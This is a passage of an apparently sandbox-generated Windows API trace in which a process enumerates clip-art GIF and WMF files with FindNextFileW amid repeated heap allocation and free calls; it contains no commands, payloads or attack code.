(HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25da0 [0071.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.412] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0071.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa208b0 [0071.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25e28 [0071.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.413] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0071.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa208d0 [0071.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25eb0 [0071.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.413] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0071.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa208f0 [0071.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25f38 [0071.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.414] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0071.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20910 [0071.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25fc0 [0071.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.414] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0071.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20930 [0071.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa26048 [0071.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.415] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0071.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20950 [0071.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa260d0 [0071.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.415] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0071.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20970 [0071.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa26158 [0071.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10c0) returned 0xa28508 [0071.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa27480) returned 1 [0071.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.416] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0071.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20990 [0071.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa261e0 [0071.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.417] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0071.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa209b0 [0071.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa26268 [0071.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.417] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0071.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa209d0 [0071.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa262f0 [0071.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0071.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0071.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0071.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0071.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0071.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0071.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0071.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0071.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0071.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0071.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0071.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4d3e00, ftCreationTime.dwHighDateTime=0x1bd4e56, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde4d3e00, ftLastWriteTime.dwHighDateTime=0x1bd4e56, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc18a400, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc18a400, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, 